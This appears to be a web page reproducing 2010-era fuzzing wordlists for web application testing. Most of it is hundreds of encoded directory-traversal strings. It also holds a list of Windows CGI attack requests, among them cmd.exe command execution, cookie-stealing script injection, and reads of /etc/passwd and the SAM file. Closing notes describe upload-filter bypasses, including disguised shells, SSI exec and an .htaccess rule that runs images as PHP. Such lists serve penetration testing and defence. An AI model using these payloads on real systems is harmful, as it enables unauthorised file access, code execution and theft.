0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumerated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Generic (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - PHP Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> # PHP on Windows<br /> {PHPSCRIPT}.php::$DATA<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Microsoft Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> 